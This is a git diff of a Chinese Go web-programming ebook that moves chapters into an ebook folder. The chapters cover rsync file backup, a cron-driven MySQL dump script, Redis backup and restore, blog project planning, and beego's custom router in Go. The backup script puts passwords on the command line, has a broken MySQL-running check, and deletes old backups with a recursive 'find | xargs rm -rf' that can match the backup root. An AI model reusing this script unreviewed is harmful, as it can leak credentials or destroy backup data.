||||
exit
|
||||
fi
|
||||
# 如果开启了删除过期备份,则进行删除操作
|
||||
if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then
|
||||
#`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
|
||||
`find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
|
||||
echo "Expired backup data delete complete!"
|
||||
fi
|
||||
echo "All database backup success! Thank you!"
|
||||
exit
|
||||
fi
|
||||
|
||||
修改shell脚本的属性:
|
||||
|
||||
chmod 600 /root/mysql_backup.sh
|
||||
chmod +x /root/mysql_backup.sh
|
||||
|
||||
设置好属性之后,把命令加入crontab,我们设置了每天00:00定时自动备份,然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。
|
||||
|
||||
00 00 * * * /root/mysql_backup.sh
|
||||
|
||||
## MySQL恢复
|
||||
前面介绍MySQL备份分为热备份和冷备份,热备份主要的目的是为了能够实时的恢复,例如应用服务器出现了硬盘故障,那么我们可以通过修改配置文件把数据库的读取和写入改成slave,这样就可以尽量少时间的中断服务。
|
||||
|
||||
但是有时候我们需要通过冷备份的SQL来进行数据恢复,既然有了数据库的备份,就可以通过命令导入:
|
||||
|
||||
mysql -u username -p databse < backup.sql
|
||||
|
||||
可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。
|
||||
|
||||
## redis备份
|
||||
redis是目前我们使用最多的NoSQL,它的备份也分为两种:热备份和冷备份,redis也支持master/slave模式,所以我们的热备份可以通过这种方式实现,相应的配置大家可以参考官方的文档配置,相当的简单。我们这里介绍冷备份的方式:redis其实会定时的把内存里面的缓存数据保存到数据库文件里面,我们备份只要备份相应的文件就可以,就是利用前面介绍的rsync备份到非本地机房就可以实现。
|
||||
|
||||
## redis恢复
|
||||
redis的恢复分为热备份恢复和冷备份恢复,热备份恢复的目的和方法同MySQL的恢复一样,只要修改应用的相应的数据库连接即可。
|
||||
|
||||
但是有时候我们需要根据冷备份来恢复数据,redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录,然后启动redis就可以了,redis在启动的时候会自动加载数据库文件到内存中,启动的速度根据数据库的文件大小来决定。
|
||||
|
||||
## 小结
|
||||
本小节介绍了我们的应用部分的备份和恢复,即如何做好灾备,包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件,MySQL数据库和redis数据库的备份和恢复,希望通过本小节的介绍,能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [应用部署](<12.3.md>)
|
||||
* 下一节: [小结](<12.5.md>)
|
||||
# 12.4 备份和恢复
|
||||
这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。
|
||||
|
||||
## 应用备份
|
||||
在大多数集群环境下,Web应用程序基本不需要备份,因为这个其实就是一个代码副本,我们在本地开发环境中,或者版本控制系统中已经保持这些代码。但是很多时候,一些开发的站点需要用户来上传文件,那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存,这样即使系统崩溃,只要我们的文件还在云存储上,至少数据不会丢失。
|
||||
|
||||
如果我们没有采用云储存的情况下,如何做到网站的备份呢?这里我们介绍一个文件同步工具rsync:rsync能够实现网站的备份,不同系统的文件的同步,如果是windows的话,需要windows版本cwrsync。
|
||||
|
||||
### rsync安装
|
||||
rysnc的官方网站:http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然,因为rsync是一款非常有用的软件,所以很多Linux的发行版本都将它收录在内了。
|
||||
|
||||
软件包安装
|
||||
|
||||
# sudo apt-get install rsync 注:在debian、ubuntu 等在线安装方法;
|
||||
# yum install rsync 注:Fedora、Redhat、CentOS 等在线安装方法;
|
||||
# rpm -ivh rsync 注:Fedora、Redhat、CentOS 等rpm包安装方法;
|
||||
|
||||
其它Linux发行版,请用相应的软件包管理方法来安装。源码包安装
|
||||
|
||||
tar xvf rsync-xxx.tar.gz
|
||||
cd rsync-xxx
|
||||
./configure --prefix=/usr ;make ;make install 注:在用源码包编译安装之前,您得安装gcc等编译工具才行;
|
||||
|
||||
### rsync配置
|
||||
rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。
|
||||
|
||||
关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站,下面介绍服务器端和客户端如何开启
|
||||
|
||||
- 服务端开启:
|
||||
|
||||
#/usr/bin/rsync --daemon --config=/etc/rsyncd/rsyncd.conf
|
||||
|
||||
--daemon参数方式,是让rsync以服务器模式运行。把rsync加入开机启动
|
||||
|
||||
echo 'rsync --daemon' >> /etc/rc.d/rc.local
|
||||
|
||||
设置rsync密码
|
||||
|
||||
echo '你的用户名:你的密码' > /etc/rsyncd.secrets
|
||||
chmod 600 /etc/rsyncd.secrets
|
||||
|
||||
|
||||
- 客户端同步:
|
||||
|
||||
客户端可以通过如下命令同步服务器上的文件:
|
||||
|
||||
rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup
|
||||
|
||||
这条命令,简要的说明一下几个要点:
|
||||
|
||||
1. -avzP是啥,读者可以使用--help查看
|
||||
2. --delete 是为了比如A上删除了一个文件,同步的时候,B会自动删除相对应的文件
|
||||
3. --password-file 客户端中/etc/rsyncd.secrets设置的密码,要和服务端的 /etc/rsyncd.secrets 中的密码一样,这样cron运行的时候,就不需要密码了
|
||||
4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
|
||||
5. 这条命令中的 192.168.0.100 为服务端的IP地址
|
||||
6. ::www,注意是2个 : 号,www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。
|
||||
|
||||
为了让同步实时性,可以设置crontab,保持rsync每分钟同步,当然用户也可以根据文件的重要程度设置不同的同步频率。
|
||||
|
||||
|
||||
## MySQL备份
|
||||
应用数据库目前还是MySQL为主流,目前MySQL的备份有两种方式:热备份和冷备份,热备份目前主要是采用master/slave方式(master/slave方式的同步目前主要用于数据库读写分离,也可以用于热备份数据),关于如何配置这方面的资料,大家可以找到很多。冷备份的话就是数据有一定的延迟,但是可以保证该时间段之前的数据完整,例如有些时候可能我们的误操作引起了数据的丢失,那么master/slave模式是无法找回丢失数据的,但是通过冷备份可以部分恢复数据。
|
||||
|
||||
冷备份一般使用shell脚本来实现定时备份数据库,然后通过上面介绍rsync同步非本地机房的一台服务器。
|
||||
|
||||
下面这个是定时备份mysql的备份脚本,我们使用了mysqldump程序,这个命令可以把数据库导出到一个文件中。
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
# 以下配置信息请自己修改
|
||||
mysql_user="USER" #MySQL备份用户
|
||||
mysql_password="PASSWORD" #MySQL备份用户的密码
|
||||
mysql_host="localhost"
|
||||
mysql_port="3306"
|
||||
mysql_charset="utf8" #MySQL编码
|
||||
backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3")
|
||||
backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹
|
||||
expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭
|
||||
expire_days=3 #过期时间天数 默认为三天,此项只有在expire_backup_delete开启时有效
|
||||
|
||||
# 本行开始以下不需要修改
|
||||
backup_time=`date +%Y%m%d%H%M` #定义备份详细时间
|
||||
backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间
|
||||
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期
|
||||
backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径
|
||||
welcome_msg="Welcome to use MySQL backup tools!" #欢迎语
|
||||
|
||||
# 判断MYSQL是否启动,mysql没有启动则备份退出
|
||||
mysql_ps=`ps -ef |grep mysql |wc -l`
|
||||
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
|
||||
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
|
||||
echo "ERROR:MySQL is not running! backup stop!"
|
||||
exit
|
||||
else
|
||||
echo $welcome_msg
|
||||
fi
|
||||
|
||||
# 连接到mysql数据库,无法连接则备份退出
|
||||
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
|
||||
use mysql;
|
||||
select host,user from user where user='root' and host='localhost';
|
||||
exit
|
||||
end
|
||||
|
||||
flag=`echo $?`
|
||||
if [ $flag != "0" ]; then
|
||||
echo "ERROR:Can't connect mysql server! backup stop!"
|
||||
exit
|
||||
else
|
||||
echo "MySQL connect ok! Please wait......"
|
||||
# 判断有没有定义备份的数据库,如果定义则开始备份,否则退出备份
|
||||
if [ "$backup_db_arr" != "" ];then
|
||||
#dbnames=$(cut -d ',' -f1-5 $backup_database)
|
||||
#echo "arr is (${backup_db_arr[@]})"
|
||||
for dbname in ${backup_db_arr[@]}
|
||||
do
|
||||
echo "database $dbname backup start..."
|
||||
`mkdir -p $backup_dir`
|
||||
`mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
|
||||
flag=`echo $?`
|
||||
if [ $flag == "0" ];then
|
||||
echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
|
||||
else
|
||||
echo "database $dbname backup fail!"
|
||||
fi
|
||||
|
||||
done
|
||||
else
|
||||
echo "ERROR:No database to backup! backup stop"
|
||||
exit
|
||||
fi
|
||||
# 如果开启了删除过期备份,则进行删除操作
|
||||
if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then
|
||||
#`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
|
||||
`find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
|
||||
echo "Expired backup data delete complete!"
|
||||
fi
|
||||
echo "All database backup success! Thank you!"
|
||||
exit
|
||||
fi
|
||||
|
||||
修改shell脚本的属性:
|
||||
|
||||
chmod 600 /root/mysql_backup.sh
|
||||
chmod +x /root/mysql_backup.sh
|
||||
|
||||
设置好属性之后,把命令加入crontab,我们设置了每天00:00定时自动备份,然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。
|
||||
|
||||
00 00 * * * /root/mysql_backup.sh
|
||||
|
||||
## MySQL恢复
|
||||
前面介绍MySQL备份分为热备份和冷备份,热备份主要的目的是为了能够实时的恢复,例如应用服务器出现了硬盘故障,那么我们可以通过修改配置文件把数据库的读取和写入改成slave,这样就可以尽量少时间的中断服务。
|
||||
|
||||
但是有时候我们需要通过冷备份的SQL来进行数据恢复,既然有了数据库的备份,就可以通过命令导入:
|
||||
|
||||
mysql -u username -p databse < backup.sql
|
||||
|
||||
可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。
|
||||
|
||||
## redis备份
|
||||
redis是目前我们使用最多的NoSQL,它的备份也分为两种:热备份和冷备份,redis也支持master/slave模式,所以我们的热备份可以通过这种方式实现,相应的配置大家可以参考官方的文档配置,相当的简单。我们这里介绍冷备份的方式:redis其实会定时的把内存里面的缓存数据保存到数据库文件里面,我们备份只要备份相应的文件就可以,就是利用前面介绍的rsync备份到非本地机房就可以实现。
|
||||
|
||||
## redis恢复
|
||||
redis的恢复分为热备份恢复和冷备份恢复,热备份恢复的目的和方法同MySQL的恢复一样,只要修改应用的相应的数据库连接即可。
|
||||
|
||||
但是有时候我们需要根据冷备份来恢复数据,redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录,然后启动redis就可以了,redis在启动的时候会自动加载数据库文件到内存中,启动的速度根据数据库的文件大小来决定。
|
||||
|
||||
## 小结
|
||||
本小节介绍了我们的应用部分的备份和恢复,即如何做好灾备,包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件,MySQL数据库和redis数据库的备份和恢复,希望通过本小节的介绍,能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [应用部署](<12.3.md>)
|
||||
* 下一节: [小结](<12.5.md>)
|
||||
34
12.5.md → ebook/12.5.md
Executable file → Normal file
34
12.5.md → ebook/12.5.md
Executable file → Normal file
@@ -1,18 +1,18 @@
|
||||
# 12.5 小结
|
||||
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。
|
||||
|
||||
具体而言,本章讨论的内容包括:
|
||||
|
||||
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员
|
||||
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题
|
||||
- 处理404错误,告诉用户请求的页面找不到
|
||||
- 将应用部署到一个生产环境中(包括如何部署更新)
|
||||
- 如何让部署的应用程序具有高可用
|
||||
- 备份和恢复文件以及数据库
|
||||
|
||||
读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [备份和恢复](<12.4.md>)
|
||||
# 12.5 小结
|
||||
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要,要创建一个能够基于最小维护平滑运行的应用,必须考虑这些问题。
|
||||
|
||||
具体而言,本章讨论的内容包括:
|
||||
|
||||
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员
|
||||
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题
|
||||
- 处理404错误,告诉用户请求的页面找不到
|
||||
- 将应用部署到一个生产环境中(包括如何部署更新)
|
||||
- 如何让部署的应用程序具有高可用
|
||||
- 备份和恢复文件以及数据库
|
||||
|
||||
读完本章内容后,对于从头开始开发一个Web应用需要考虑那些问题,你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [备份和恢复](<12.4.md>)
|
||||
* 下一节: [如何设计一个Web框架](<13.0.md>)
|
||||
0
13.0.md → ebook/13.0.md
Executable file → Normal file
0
13.0.md → ebook/13.0.md
Executable file → Normal file
106
13.1.md → ebook/13.1.md
Executable file → Normal file
106
13.1.md → ebook/13.1.md
Executable file → Normal file
@@ -1,53 +1,53 @@
|
||||
# 13.1 项目规划
|
||||
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了
|
||||
## gopath以及项目设置
|
||||
假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图:
|
||||
|
||||

|
||||
|
||||
图13.1 环境变量GOPATH设置
|
||||
|
||||

|
||||
|
||||
图13.2 工作目录在$gopath/src下
|
||||
|
||||
## 应用程序流程图
|
||||
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。
|
||||
|
||||
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。
|
||||
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。
|
||||
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。
|
||||
|
||||
下图显示了项目设计中框架的数据流是如何贯穿整个系统:
|
||||
|
||||

|
||||
|
||||
图13.3 框架的数据流
|
||||
|
||||
1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。
|
||||
2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。
|
||||
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
|
||||
4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。
|
||||
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。
|
||||
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。
|
||||
|
||||
## 目录结构
|
||||
根据上面的应用程序流程设计,博客的目录结构设计如下:
|
||||
|
||||
|——main.go 入口文件
|
||||
|——conf 配置文件和处理模块
|
||||
|——controllers 控制器入口
|
||||
|——models 数据库处理模块
|
||||
|——utils 辅助函数库
|
||||
|——static 静态文件目录
|
||||
|——views 视图库
|
||||
|
||||
## 框架设计
|
||||
为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。
|
||||
|
||||
## 总结
|
||||
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [构建博客系统](<13.0.md>)
|
||||
* 下一节: [自定义路由器设计](<13.2.md>)
|
||||
# 13.1 项目规划
|
||||
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了
|
||||
## gopath以及项目设置
|
||||
假设指定gopath是文件系统的普通目录名,当然我们可以随便设置一个目录名,然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录:在window系统设置环境变量;在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`,但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面,现在暂定我们的博客目录叫做beeblog,下面是在window下的环境变量和目录结构的截图:
|
||||
|
||||

|
||||
|
||||
图13.1 环境变量GOPATH设置
|
||||
|
||||

|
||||
|
||||
图13.2 工作目录在$gopath/src下
|
||||
|
||||
## 应用程序流程图
|
||||
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中,由于表现层从Go中分离了出来,所以它允许你的网页中只包含很少的脚本。
|
||||
|
||||
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。
|
||||
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页,但是在Go中,一个视图也可以是一个页面片段,如页头、页尾。它还可以是一个 RSS 页面,或其它类型的“页面”,Go实现的template包已经很好的实现了View层中的部分功能。
|
||||
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介,并生成网页。
|
||||
|
||||
下图显示了项目设计中框架的数据流是如何贯穿整个系统:
|
||||
|
||||

|
||||
|
||||
图13.3 框架的数据流
|
||||
|
||||
1. main.go作为应用入口,初始化一些运行博客所需要的基本资源,配置信息,监听端口。
|
||||
2. 路由功能检查HTTP请求,根据URL以及method来确定谁(控制层)来处理请求的转发资源。
|
||||
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
|
||||
4. 安全检测:应用程序控制器调用之前,HTTP请求和任一用户提交的数据将被过滤。
|
||||
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。
|
||||
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存,视图首先被缓存,将用于以后的常规请求。
|
||||
|
||||
## 目录结构
|
||||
根据上面的应用程序流程设计,博客的目录结构设计如下:
|
||||
|
||||
|——main.go 入口文件
|
||||
|——conf 配置文件和处理模块
|
||||
|——controllers 控制器入口
|
||||
|——models 数据库处理模块
|
||||
|——utils 辅助函数库
|
||||
|——static 静态文件目录
|
||||
|——views 视图库
|
||||
|
||||
## 框架设计
|
||||
为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。
|
||||
|
||||
## 总结
|
||||
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [构建博客系统](<13.0.md>)
|
||||
* 下一节: [自定义路由器设计](<13.2.md>)
|
||||
528
13.2.md → ebook/13.2.md
Executable file → Normal file
528
13.2.md → ebook/13.2.md
Executable file → Normal file
@@ -1,264 +1,264 @@
|
||||
# 13.2 自定义路由器设计
|
||||
|
||||
## HTTP路由
|
||||
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括:
|
||||
|
||||
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11)
|
||||
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等)
|
||||
|
||||
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。
|
||||
## 默认的路由实现
|
||||
在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明:
|
||||
|
||||
func fooHandler(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
|
||||
}
|
||||
|
||||
http.Handle("/foo", fooHandler)
|
||||
|
||||
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
|
||||
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
|
||||
})
|
||||
|
||||
log.Fatal(http.ListenAndServe(":8080", nil))
|
||||
|
||||
上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点:
|
||||
|
||||
- 添加路由信息
|
||||
- 根据用户请求转发到要执行的函数
|
||||
|
||||
Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。
|
||||
|
||||
Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。
|
||||
|
||||
for k, v := range mux.m {
|
||||
if !pathMatch(k, path) {
|
||||
continue
|
||||
}
|
||||
if h == nil || len(k) > n {
|
||||
n = len(k)
|
||||
h = v.h
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
## beego框架路由实现
|
||||
目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制:
|
||||
|
||||
- 不支持参数设定,例如/user/:uid 这种泛类型匹配
|
||||
- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问
|
||||
- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化
|
||||
|
||||
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由
|
||||
|
||||
### 存储路由
|
||||
针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。
|
||||
|
||||
根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息)
|
||||
|
||||
type controllerInfo struct {
|
||||
regex *regexp.Regexp
|
||||
params map[int]string
|
||||
controllerType reflect.Type
|
||||
}
|
||||
|
||||
type ControllerRegistor struct {
|
||||
routers []*controllerInfo
|
||||
Application *App
|
||||
}
|
||||
|
||||
|
||||
ControllerRegistor对外的接口函数有
|
||||
|
||||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
|
||||
|
||||
详细的实现如下所示:
|
||||
|
||||
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
|
||||
parts := strings.Split(pattern, "/")
|
||||
|
||||
j := 0
|
||||
params := make(map[int]string)
|
||||
for i, part := range parts {
|
||||
if strings.HasPrefix(part, ":") {
|
||||
expr := "([^/]+)"
|
||||
|
||||
//a user may choose to override the defult expression
|
||||
// similar to expressjs: ‘/user/:id([0-9]+)’
|
||||
|
||||
if index := strings.Index(part, "("); index != -1 {
|
||||
expr = part[index:]
|
||||
part = part[:index]
|
||||
}
|
||||
params[j] = part
|
||||
parts[i] = expr
|
||||
j++
|
||||
}
|
||||
}
|
||||
|
||||
//recreate the url pattern, with parameters replaced
|
||||
//by regular expressions. then compile the regex
|
||||
|
||||
pattern = strings.Join(parts, "/")
|
||||
regex, regexErr := regexp.Compile(pattern)
|
||||
if regexErr != nil {
|
||||
|
||||
//TODO add error handling here to avoid panic
|
||||
panic(regexErr)
|
||||
return
|
||||
}
|
||||
|
||||
//now create the Route
|
||||
t := reflect.Indirect(reflect.ValueOf(c)).Type()
|
||||
route := &controllerInfo{}
|
||||
route.regex = regex
|
||||
route.params = params
|
||||
route.controllerType = t
|
||||
|
||||
p.routers = append(p.routers, route)
|
||||
|
||||
}
|
||||
|
||||
### 静态路由实现
|
||||
上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下:
|
||||
|
||||
func (app *App) SetStaticPath(url string, path string) *App {
|
||||
StaticDir[url] = path
|
||||
return app
|
||||
}
|
||||
|
||||
应用中设置静态路径可以使用如下方式实现:
|
||||
|
||||
beego.SetStaticPath("/img","/static/img")
|
||||
|
||||
|
||||
### 转发路由
|
||||
转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示:
|
||||
|
||||
// AutoRoute
|
||||
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
if !RecoverPanic {
|
||||
// go back to panic
|
||||
panic(err)
|
||||
} else {
|
||||
Critical("Handler crashed with error", err)
|
||||
for i := 1; ; i += 1 {
|
||||
_, file, line, ok := runtime.Caller(i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
Critical(file, line)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
var started bool
|
||||
for prefix, staticDir := range StaticDir {
|
||||
if strings.HasPrefix(r.URL.Path, prefix) {
|
||||
file := staticDir + r.URL.Path[len(prefix):]
|
||||
http.ServeFile(w, r, file)
|
||||
started = true
|
||||
return
|
||||
}
|
||||
}
|
||||
requestPath := r.URL.Path
|
||||
|
||||
//find a matching Route
|
||||
for _, route := range p.routers {
|
||||
|
||||
//check if Route pattern matches url
|
||||
if !route.regex.MatchString(requestPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
//get submatches (params)
|
||||
matches := route.regex.FindStringSubmatch(requestPath)
|
||||
|
||||
//double check that the Route matches the URL pattern.
|
||||
if len(matches[0]) != len(requestPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
params := make(map[string]string)
|
||||
if len(route.params) > 0 {
|
||||
//add url parameters to the query param map
|
||||
values := r.URL.Query()
|
||||
for i, match := range matches[1:] {
|
||||
values.Add(route.params[i], match)
|
||||
params[route.params[i]] = match
|
||||
}
|
||||
|
||||
//reassemble query params and add to RawQuery
|
||||
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
|
||||
//r.URL.RawQuery = url.Values(values).Encode()
|
||||
}
|
||||
//Invoke the request handler
|
||||
vc := reflect.New(route.controllerType)
|
||||
init := vc.MethodByName("Init")
|
||||
in := make([]reflect.Value, 2)
|
||||
ct := &Context{ResponseWriter: w, Request: r, Params: params}
|
||||
in[0] = reflect.ValueOf(ct)
|
||||
in[1] = reflect.ValueOf(route.controllerType.Name())
|
||||
init.Call(in)
|
||||
in = make([]reflect.Value, 0)
|
||||
method := vc.MethodByName("Prepare")
|
||||
method.Call(in)
|
||||
if r.Method == "GET" {
|
||||
method = vc.MethodByName("Get")
|
||||
method.Call(in)
|
||||
} else if r.Method == "POST" {
|
||||
